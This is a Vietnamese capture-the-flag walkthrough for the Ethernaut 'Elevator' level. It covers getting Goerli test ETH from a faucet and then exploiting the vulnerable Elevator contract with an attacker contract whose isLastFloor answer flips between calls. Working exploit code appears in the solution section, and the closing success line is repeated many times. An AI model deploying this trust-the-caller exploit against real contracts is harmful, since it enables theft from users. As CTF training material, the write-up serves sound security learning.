

Elevator

1. Thực hiện việc kiểm ETH:

Sử dụng: <https://goerli-faucet.pk910.de/> - để lấy được một số ETH cho ví bằng cách:

- + Điền ETH address của mình vào:

Goerli PoW Faucet

The goerli testnet is [deprecated](#) and will be shut down at the end of the year! Move over to the sepolia testnet for anything except validator testing.



0x92141B14ddB92C256eFB3f1F464b042164570Af9

- + Sau đó start Mining:

Goerli PoW Faucet

The goerli testnet is [deprecated](#) and will be shut down at the end of the year! Move over to the sepolia testnet for anything except validator testing.



Target Address:

0x92141B14ddb92C256eFB3f1F464b042164570Af9

Your Mining Reward:

0 GöETH

Current Hashrate:

0 H/s

Number of Workers:

0 / 4



Minimum Claim Reward:

0.02 GöETH

Maximum Claim Reward:

1 GöETH

Remaining Session Time:

11h 59min

Total Shares:

0

Avg. Reward per Hour:

0 GöETH/h

Reward Boost:

+ 0%

Boost

Stop Mining

- + Trong trường hợp máy lag hoặc muốn tăng công suất có thể thêm và giảm bớt công việc tại Number of Workers.

- + Đến khi kiểm đủ số lượng có thể rút thì có thể dừng lại và nhận ETH

Goerli PoW Faucet

The goerli testnet is [deprecated](#) and will be shut down at the end of the year! Move over to the sepolia testnet for anything except validator testing.

Claim Rewards

Wallet: 0x92141B14ddb92C256eFB3f1F464b042164570Af9
Amount: 0.037 GÖETH
Timeout: 2023-08-11 20:21 (23h 47min)
Captcha:



Tôi không phải là người
máy



reCAPTCHA
Bảo mật - Điều khoản

Claim Rewards

Goerli PoW Faucet


The goerli testnet is [deprecated](#) and will be shut down at the end of the year! Move over to the sepolia testnet for anything except validator testing.



Claim Rewards

Wallet: 0x92141B14ddB92C256eFB3f1F464b042164570Af9
Amount: 0.037 GÖETH
Timeout: -

Claim Transaction has been confirmed in block #9494425!

TX: [0xee3c472ae50e02f9a46b354ce2e18e02b83fa546079f95b3f392042e5e457d6b](#)

Did you like the faucet? Give that project a  Star **1,713**

Or support this faucet by sharing your result with a  Tweet  Post

[Return to startpage](#)

=> Và ta đã có đủ số ETH để tiếp tục tham ra vào Ethernaut

2. Xác định yêu cầu đề bài:

This elevator won't let you reach the top of your building. Right?

Things that might help:

Sometimes solidity is not good at keeping promises.

This Elevator expects to be used from a Building.

```

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Building {
    function isLastFloor(uint) external returns (bool);
}

contract Elevator {
    bool public top;
    uint public floor;

    function goTo(uint _floor) public {
        Building building = Building(msg.sender);

        if (! building.isLastFloor(_floor)) {
            floor = _floor;
            top = building.isLastFloor(floor);
        }
    }
}

```

3. Giải quyết bài toán

Ta phải lên top của tòa nhà để có thể qua được level này. Nhưng thang máy đang không cho phép lên đỉnh của tòa nhà

Được rồi, sau đó chúng ta sẽ tạo một hợp đồng kế thừa trên Remix:

```

1 // SPDX-License-Identifier: MIT
2 pragma solidity ^0.6.0;
3
4 interface Building {
5     function isLastFloor(uint) external returns (bool);
6 }
7
8 interface IElevator {
9     function goTo(uint _floor) external;
10 }
11
12 contract MyBuilding is Building {
13     bool public last = true;
14
15     function isLastFloor(uint _n) override external returns (bool) {
16         last = !last;
17         return last;
18     }
19
20     function goToTop(address _elevatorAddr) public {
21         IElevator(_elevatorAddr).goTo(1);
22     }
23 }

```

-11.Elevator.sol

- contract MyBuilding is Building {...}: Đây là hợp đồng MyBuilding, mà cũng được đánh dấu rằng nó thực hiện (inherit) giao diện Building. Hợp đồng này có một biến last kiểu bool để theo dõi trạng thái của tầng cuối cùng của tòa nhà.
- function isLastFloor(uint _n) override external returns (bool) {...}: Hàm này được định nghĩa để triển khai hàm từ giao diện Building. Nó đảo ngược giá trị của biến last và trả về giá trị mới của last. Tức là, mỗi lần gọi hàm này, biến last sẽ thay đổi giá trị từ true sang false hoặc ngược lại.
- function goToTop(address _elevatorAddr) public {...}: Hàm này cho phép gửi một yêu cầu đến một địa chỉ thang máy (có kiểu IElevator) để di chuyển thang máy lên tầng 1. Khi hàm này được gọi, nó gọi hàm goTo của thang máy thông qua giao diện IElevator.

Đơn giản chỉ cần gọi goToTop của MyBuilding, contract.address ví dụ. Điều đó sẽ kích hoạt Elevator cuộc gọi isLastFloor của hợp đồng - MyBuilding

Sau đó kiểm tra lại xem Elevator đã top chưa:

```

> await contract.top()
< true

```

Cuối cùng ta thực hiện Submit:

Submitting level instance... < <<PLEASE WAIT>> > >

Sent transaction <https://goerli.etherscan.io/tx/0x8ff891e...>

Mined transaction <https://goerli.etherscan.io/tx/0x8ff891e...>

100% success rate in 1000000 attempts

100% success rate, we have completed this level!!!

100% success rate, we have completed this level!!!

100% success rate, we have completed this level!!!

100% success rate, we have completed this level!!!

100% success rate, we have completed this level!!!

100% success rate, we have completed this level!!!

100% success rate, we have completed this level!!!

100% success rate, we have completed this level!!!

100% success rate, we have completed this level!!!

100% success rate, we have completed this level!!!

100% success rate, we have completed this level!!!

100% success rate, we have completed this level!!!

100% success rate, we have completed this level!!!

100% success rate, we have completed this level!!!

100% success rate, we have completed this level!!!

100% success rate, we have completed this level!!!

100% success rate, we have completed this level!!!

>